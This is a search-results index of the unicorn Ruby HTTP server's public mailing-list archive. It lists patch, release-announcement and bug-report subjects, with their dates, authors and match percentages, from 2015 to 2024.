2015-03-24 23:02 0% ` Michael Fischer
2015-04-22 19:02 4% unicorn 4.8.x-stable branch pushed to git Eric Wong
2015-04-24 3:02 2% [PATCH 0/2] Rack::TempfileReaper support Eric Wong
2015-04-24 3:02 15% ` [PATCH 1/2] tee_input: support for Rack::TempfileReaper middleware Eric Wong
2015-04-24 3:17 3% [ANN] unicorn 4.9.0 - Rack HTTP server for fast clients and *nix Eric Wong
2015-06-04 1:39 5% [PATCH] http_server: remove a few more accessors and constants Eric Wong
2015-06-06 1:58 2% [PATCH 0/2] eliminate generic ivars from HttpRequest class Eric Wong
2015-06-06 1:58 10% ` [PATCH 2/2] http: move response_start_sent into the C ext Eric Wong
2015-06-09 20:17 14% [PATCH] ensure body is closed during hijack Eric Wong
2015-06-15 22:56 2% [ANN] unicorn 5.0.0.pre1 - incompatible changes! Eric Wong
2015-07-06 21:41 3% ` [ANN] unicorn 5.0.0.pre2 - another prerelease! Eric Wong
[not found] <3137844.nsIDTWmvl4@debstor>
[not found] ` <20150625083118.GA22140@luke.ws.skroutz.gr>
2015-06-25 23:26 ` [DRE-maint] unicorn: native systemd service Eric Wong
2015-06-26 11:41 1% ` Christos Trochalakis
2015-06-27 3:05 0% ` Eric Wong
2015-06-27 4:01 ` [RFC] emulate sd_listen_fds for systemd support Eric Wong
2015-06-30 8:47 ` Christos Trochalakis
2015-07-05 0:27 7% ` [PATCH v2] " Eric Wong
2015-06-30 9:20 0% ` [DRE-maint] unicorn: native systemd service Christos Trochalakis
2015-06-30 17:30 ` Eric Wong
2015-07-08 13:08 2% ` Christos Trochalakis
2015-06-30 22:51 2% [PATCH 0/3] reflect changes to Rack::Utils::HTTP_STATUS_CODES Eric Wong
2015-06-30 22:51 11% ` [PATCH 1/3] reflect changes in Rack::Utils::HTTP_STATUS_CODES Eric Wong
2015-07-05 0:31 22% [PATCH] test/unit/test_response.rb: compatibility with older test-unit Eric Wong
2015-07-08 3:03 14% [PATCH] test_exec: disable systemd inheritance test Eric Wong
2015-10-15 17:46 5% [PATCH] unicorn.conf.rb: remove mention of REE-specific setting Eric Wong
2015-10-27 3:33 2% [PATCH 0/2] socket inheritance behavior/bug => feature! Eric Wong
2015-10-27 3:33 11% ` [PATCH 1/2] sd_listen_fds emulation cleanup Eric Wong
2015-10-27 3:33 7% ` [PATCH 2/2] inheriting sockets from UNICORN_FD does not close them Eric Wong
2015-11-01 8:37 [PATCH 0/3] last updates before 5.0 release Eric Wong
2015-11-01 8:37 5% ` [PATCH 2/3] gemspec: relax Ruby version requirement for old RubyGems Eric Wong
2015-11-16 23:43 undefined method `include?' for nil:NilClass (NoMethodError) Owen Ou
2015-11-17 0:27 7% ` Eric Wong
2016-01-08 18:34 [PATCH] limit rack version for ruby compatibility Adam Duke
2016-01-08 19:18 ` Eric Wong
2016-01-08 21:50 ` Aaron Patterson
2016-01-08 21:56 2% ` Aaron Patterson
2016-01-08 22:13 0% ` Adam Duke
2016-01-13 9:06 2% behaviour with signal HUP Francesco Savignago
2016-01-13 9:21 2% ` Eric Wong
[not found] <56AAAD0A.8000807@icloud.com>
2016-01-30 9:34 ` unicorn log attack? Eric Wong
2016-02-01 5:04 ` Lawrence Pit
2016-02-01 9:57 2% ` Eric Wong
2016-03-07 23:08 Systemd socket inheritance fails with “not a socket file descriptor” Amir Yalon
2016-03-08 3:31 ` Eric Wong
2016-03-08 7:45 2% ` Amir Yalon
2016-03-08 17:39 2% ` Eric Wong
2016-03-08 20:32 ` Amir Yalon
2016-03-09 3:51 ` Eric Wong
2016-03-09 14:06 ` Christos Trochalakis
2016-03-12 23:19 3% ` Amir Yalon
[not found] <CAL-rKu6CZ731c=uHyZ8+Fg2fhC30e-3-J26XODacUK=YrfX+5Q@mail.gmail.com>
2016-06-07 13:41 0% ` [PATCH] `unicorn upgrade` script resilience against exceptions Eric Wong
2016-06-07 15:17 0% ` Jesper Rønn-Jensen
2016-06-07 21:13 21% ` [PATCH] examples/init.sh: update to reduce upgrade raciness Eric Wong
2016-06-15 20:21 2% ` Eric Wong
2016-06-20 20:00 5% [PATCH] examples/logrotate.conf: update example for systemd Eric Wong
2016-10-20 9:05 7% [PATCH] Add some tolerance (RFC2616 sec. 19.3) Mishael A Sibiryakov
2016-10-20 17:55 0% ` Eric Wong
2016-10-20 20:25 ` Mishael A Sibiryakov
2016-10-20 20:50 2% ` Eric Wong
2016-10-20 21:03 0% ` Mishael A Sibiryakov
2017-02-21 19:19 Patch: Add after_worker_exit configuration option Jeremy Evans
2017-02-21 19:43 ` Eric Wong
2017-02-21 20:02 ` Jeremy Evans
2017-02-21 20:15 ` Eric Wong
2017-02-21 20:49 ` Jeremy Evans
2017-02-21 21:38 3% ` Eric Wong
2017-02-25 14:03 [PATCH] check_client_connection: use tcp state on linux Simon Eskildsen
2017-02-25 16:19 ` Simon Eskildsen
2017-02-25 23:12 ` Eric Wong
2017-02-27 11:44 1% ` Simon Eskildsen
2017-02-28 21:12 0% ` Eric Wong
2017-03-01 3:18 ` Eric Wong
2017-03-06 21:32 4% ` Simon Eskildsen
2017-03-07 22:50 ` Eric Wong
2017-03-08 0:26 ` Eric Wong
2017-03-08 12:06 2% ` Simon Eskildsen
2017-03-13 20:16 0% ` Simon Eskildsen
2017-02-28 23:00 8% [PATCH] t0011-active-unix-socket.sh: fix race condition in test Eric Wong
2017-03-08 6:02 4% [PATCH 0/3] TCP_INFO check_client_connection followups Eric Wong
2017-03-08 6:02 18% ` [PATCH 1/3] new test for check_client_connection Eric Wong
2017-03-08 6:02 4% ` [PATCH 2/3] revert signature change to HttpServer#process_client Eric Wong
2017-03-08 10:14 0% ` [PATCH 0/3] TCP_INFO check_client_connection followups Simon Eskildsen
2017-03-08 18:44 [PATCH] Add worker_exec configuration option Jeremy Evans
2017-03-08 20:02 ` Eric Wong
2017-03-09 19:41 ` [PATCH] Add worker_exec configuration option V2 Jeremy Evans
2017-03-10 21:19 2% ` Eric Wong
2017-03-11 5:26 4% ` Jeremy Evans
2017-03-11 7:18 2% ` Eric Wong
2017-03-13 15:32 0% ` Jeremy Evans
2017-03-10 20:34 8% [PATCH] test_exec: SO_KEEPALIVE value only needs to be true Eric Wong
2017-03-10 21:26 17% [PATCH] tests: keep disabled tests defined Eric Wong
2017-03-10 21:51 15% [PATCH] test-lib: expr(1) portability fix Eric Wong
2017-03-23 0:05 13% [PATCH] test_ccc: use a pipe to synchronize test Eric Wong
2017-03-23 2:48 2% [ANN] raindrops 0.18.0 - real-time stats for preforking Rack servers Eric Wong
[not found] <f1d5eacb-b6a2-be96-34aa-fe061a194a62@onenetbeyond.org>
[not found] ` <CAAB-Kcnwzc8Tcszv3FCPkyJRKRCsHRH6k_qBhKfBpSODxqKy5g@mail.gmail.com>
2016-10-28 0:23 ` trying to update unicorn to 5.1, build failure: VERSION= must be specified Eric Wong
2016-11-03 15:46 ` Pirate Praveen
2017-03-23 23:34 4% ` [PATCH] gemspec: remove olddoc from build dependency Eric Wong
2017-03-24 0:28 3% [ANN] unicorn 5.3.0.pre1 - Rack HTTP server for fast clients and Unix Eric Wong
2017-03-27 22:36 8% [PATCH] test_exec: SO_KEEPALIVE value only needs to be true (take #2) Eric Wong
2017-04-01 8:08 3% [ANN] unicorn 5.3.0 - Rack HTTP server for fast clients and Unix Eric Wong
2017-05-23 13:20 2% Master Process Reaping Worker with No message Aakash Gupta
2017-05-23 16:22 0% ` Eric Wong
2017-07-13 18:48 Random crash when sending USR2 + QUIT signals to Unicorn process Pere Joan Martorell
2017-07-13 19:34 ` Eric Wong
2017-07-14 10:21 3% ` Pere Joan Martorell
2017-07-14 21:16 ` Eric Wong
2017-07-14 22:50 3% ` Jeremy Evans
2017-07-15 0:15 0% ` Eric Wong
2017-07-15 1:34 0% ` Jeremy Evans
2017-07-15 4:45 2% ` Eric Wong
2017-07-15 7:56 0% ` Jeremy Evans
2017-07-17 14:32 0% ` Jeremy Evans
2017-07-24 1:25 2% ` Eric Wong
2017-08-07 6:16 3% ` Jeremy Evans
2017-08-07 20:18 0% ` Eric Wong
2017-10-03 14:52 2% ` Xuanzhong Wei
2017-10-03 17:15 0% ` Eric Wong
2017-08-04 16:40 initialize/fork crash in macOS 10.13 Jeffrey Carl Faden
2017-08-04 19:10 ` Eric Wong
2017-10-16 19:25 2% ` Eric Wong
2017-09-14 8:25 Bug, probably related to Unicoen Felix Yasnopolski
2017-09-14 9:15 2% ` Eric Wong
2017-11-29 0:13 env reuse and hijack Sam Saffron
2017-11-29 1:03 ` Eric Wong
2017-12-05 1:53 ` Eric Wong
2017-12-16 1:49 14% ` [PATCH] avoid reusing env on hijack Eric Wong
2017-11-29 2:02 2% meta: any mailing list subscribers get duplicates? Eric Wong
2017-12-22 3:17 14% [PATCH] tests: cleanup some unused variable warnings Eric Wong
2017-12-23 23:42 2% [ANN] unicorn 5.4.0 - Rack HTTP server for fast clients and Unix Eric Wong
2018-07-23 17:19 2% ` [ANN] unicorn 5.4.1 " Eric Wong
2018-02-10 7:12 unicorn takes 1.4G memory per worker cyan eccentricyan
2018-02-10 13:52 2% ` Eric Wong
2018-02-24 7:06 14% [PATCH] Use IO#wait instead to fix test for Ruby 1.9 Fumiaki MATSUSHIMA
2018-02-24 8:08 9% ` Eric Wong
2018-02-25 11:34 6% ` Fumiaki Matsushima
2018-02-24 8:48 5% [PATCH] Send SIGTERM before SIGKILL on timeout Fumiaki MATSUSHIMA
2018-04-30 7:54 9% [PATCH] quiet some mismatched indentation warnings Eric Wong
2018-08-14 2:05 4% KGIO issues under WSL Sam Saffron
2018-08-20 20:30 6% [PATCH] shrink pipes under Linux Eric Wong
2018-09-13 19:20 Support default_middleware configurator method Jeremy Evans
2018-09-13 22:34 2% ` Eric Wong
2018-09-14 0:00 2% ` Jeremy Evans
2018-09-14 10:56 ` Eric Wong
2018-09-14 15:03 ` Jeremy Evans
2018-09-19 7:39 3% ` Eric Wong
2018-09-21 0:21 8% ` Jeremy Evans
2018-09-23 8:52 0% ` Eric Wong
2018-09-21 0:34 10% ` [PATCH 2/1] tests: ensure -N/--no-default-middleware not supported in config.ru Eric Wong
2018-11-07 23:38 2% [PATCH] doc: update more URLs to use HTTPS and avoid redirects Eric Wong
2018-12-06 23:44 10% [RFC] deduplicate strings VM-wide in Ruby 2.5+ Eric Wong
2019-05-03 22:20 2% [PATCH] Rescue failed pipe resizes due to permissions sdemjanenko
2019-05-12 22:25 10% [PATCH 0/3] slow clients and test/benchmark tools Eric Wong
2019-05-12 22:25 24% ` [PATCH 1/3] test/benchmark/ddstream: demo for slowly reading clients Eric Wong
2019-05-12 22:25 20% ` [PATCH 2/3] test/benchmark/readinput: demo for slowly uploading clients Eric Wong
2019-05-12 22:25 18% ` [PATCH 3/3] test/benchmark/uconnect: test for accept loop speed Eric Wong
2019-07-04 22:01 3% [PATCH 0/3] http: use gperf for common field memoization Eric Wong
2019-07-04 22:01 13% ` [PATCH 1/3] unit benchmark for our HTTP parser Eric Wong
2019-07-04 22:01 14% ` [PATCH 2/3] http: use gperf for common fields optimization Eric Wong
2019-12-15 4:21 8% [PATCH] test_util: get rid of some unused variables in tests Eric Wong
2019-12-16 22:34 Traffic priority with Unicorn Bertrand Paquet
2019-12-17 5:12 ` Eric Wong
2019-12-18 22:06 2% ` Bertrand Paquet
2019-12-20 2:15 3% [ANN] unicorn 5.5.2 - Rack HTTP server for fast clients and *nix Eric Wong
2020-01-26 5:33 10% [PATCH 0/3] minor test golfing to make worktree smaller Eric Wong
2020-01-26 5:33 12% ` [PATCH 1/3] test/exec/test_exec: bring worker_processes down to 2 Eric Wong
2020-01-26 5:33 8% ` [PATCH 2/3] test_helper: remove unused `chunked_spawn' Eric Wong
2020-01-26 5:33 8% ` [PATCH 3/3] test_upload: use spawn to simplify redirects Eric Wong
2020-01-31 20:48 2% [ANN] unicorn 5.5.3 - Rack HTTP server for fast clients and *nix Eric Wong
2020-03-19 2:28 5% [PATCH] http: improve RFC 7230 conformance Eric Wong
[not found] <redmine.issue-17023.20200710175402.5550@ruby-lang.org>
[not found] ` <redmine.journal-86563.20200715200039.5550@ruby-lang.org>
2020-07-15 23:35 2% ` [ruby-core:99184] [Ruby master Bug#17023] How to prevent String memory to be relocated in ruby-ffi Eric Wong
2020-07-16 10:05 11% [PATCH] Add early hints support Jean Boussier
2020-07-16 10:50 0% ` Eric Wong
2020-07-16 11:41 10% ` Jean Boussier
2020-07-23 4:17 4% [PATCH 0/2] some minor early_hints fixes Eric Wong
2020-07-23 4:17 14% ` [PATCH 1/2] test_server: test_early_hints: fix test reliability Eric Wong
2020-07-26 1:57 9% [PATCH 0/2] minor test improvements Eric Wong
2020-07-26 1:57 8% ` [PATCH 1/2] test_helper: support TAIL= env for watching tests Eric Wong
2020-07-26 1:57 27% ` [PATCH 2/2] build: revamp and avoid unnecessary rebuilds Eric Wong
2020-09-01 12:17 [PATCH] Update ruby_version requirement to allow ruby 3.0 Jean Boussier
2020-09-01 14:48 ` Eric Wong
2020-09-01 15:04 2% ` Jean Boussier
2020-09-01 15:41 ` Eric Wong
2020-09-03 7:52 ` Jean Boussier
2020-09-03 8:25 ` Eric Wong
2020-09-03 8:29 ` Jean Boussier
2020-09-03 9:31 ` Eric Wong
2020-09-03 11:23 ` Jean Boussier
2020-09-04 12:34 13% ` Jean Boussier
2020-11-26 11:59 6% [RFC] http_response: ignore invalid header response characters Eric Wong
2021-01-06 17:53 ` Eric Wong
2021-01-13 23:20 1% ` Sam Sanoop
2020-12-08 21:47 13% [PATCH] Add rack.after_reply functionality Blake Williams
[not found] <F6712BF3-A4DD-41EE-8252-B9799B35E618@github.com>
[not found] ` <20210311030250.GA1266@dcvr>
[not found] ` <7F6FD017-7802-4871-88A3-1E03D26D967C@github.com>
2021-03-12 9:41 4% ` Potential Unicorn vulnerability Eric Wong
2021-03-12 11:14 ` Dirkjan Bussink
2021-03-12 12:00 ` Eric Wong
2021-03-12 12:24 ` Dirkjan Bussink
2021-03-13 2:26 3% ` Eric Wong
2021-03-16 10:15 0% ` Dirkjan Bussink
2021-03-13 2:08 14% [PATCH] test/test_helper: only unlink redirected logs from parent Eric Wong
2021-03-14 23:17 16% [PATCH] tests: force blocking I/O for Ruby 3.x EW
2021-03-17 6:43 2% [ANN] unicorn 6.0.0 - Rack HTTP server for fast clients and *nix Eric Wong
2021-04-30 18:17 8% [PATCH] test_util: less excessive encoding tests Eric Wong
2021-09-14 23:39 [PATCH 0/2] drop Ruby 1.9.3 support, require 2.0+ Eric Wong
2021-09-14 23:39 3% ` [PATCH 1/2] drop Ruby 1.9.3 support, require 2.0+ for now Eric Wong
2021-10-01 3:09 3% [PATCH 0/6] reduce thundering herds on Linux 4.5+ Eric Wong
2021-10-01 3:09 10% ` [PATCH 6/6] use EPOLLEXCLUSIVE " Eric Wong
2021-12-25 17:41 [PATCH 0/3] Ruby 3.1 + doc/URL updates Eric Wong
2021-12-25 17:41 5% ` [PATCH 2/3] drop Ruby version warning, fix speling errer Eric Wong
2022-05-08 3:47 2% DKIM+DMARC enabled (for mailing list subscribers) Eric Wong
2022-07-05 20:05 [PATCH] Master promotion with SIGURG (CoW optimization) Jean Boussier
2022-07-06 2:33 ` Eric Wong
2022-07-06 7:40 ` Jean Boussier
2022-07-07 10:23 2% ` Eric Wong
[not found] ` <CANPRWbHTNiEcYq5qhN6Kio8Wg9a+2gXmc2bAcB2oVw4LZv8rcw@mail.gmail.com>
2022-07-08 0:30 0% ` Eric Wong
2022-07-08 7:46 9% [PATCH] Make the gem usable as a git gem Jean Boussier
2022-07-08 12:12 0% ` Eric Wong
2022-07-08 13:17 13% [PATCH] Get rid of Kgio Jean Boussier
2023-06-01 18:54 17% Rack 3 Compatibility Jeremy Evans
2023-06-02 0:00 5% ` Eric Wong
2023-06-02 2:45 0% ` Jeremy Evans
2023-06-05 9:12 4% ` [PATCH v2] chunk unterminated HTTP/1.1 responses for Rack 3.1 Eric Wong
2023-06-05 10:32 12% [PATCH 00-23/23] start porting tests to Perl5 Eric Wong
2023-06-11 22:56 9% [PATCH 0/4] various test fixes Eric Wong
2023-06-11 22:58 26% ` [PATCH 1-4/4] " Eric Wong
2023-09-05 9:44 9% [RFC 0-3/3] depend on Ruby 2.5+, eliminate kgio Eric Wong
2023-09-10 20:08 13% [PATCH 00..11/11] more tests to Perl 5 Eric Wong
2024-03-23 19:45 19% [PATCH 0/4] a small pile of patches Eric Wong
2024-04-07 10:52 7% [PATCH] t/lib.perl: fix Perl integration tests w/o installation Eric Wong
2024-05-06 20:10 11% [PATCH 0/5..5/5] more tests to Perl 5 for stability Eric Wong
Code repositories for project(s) associated with this public inbox
https://yhbt.net/unicorn.git/
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for read-only IMAP folder(s) and NNTP newsgroup(s).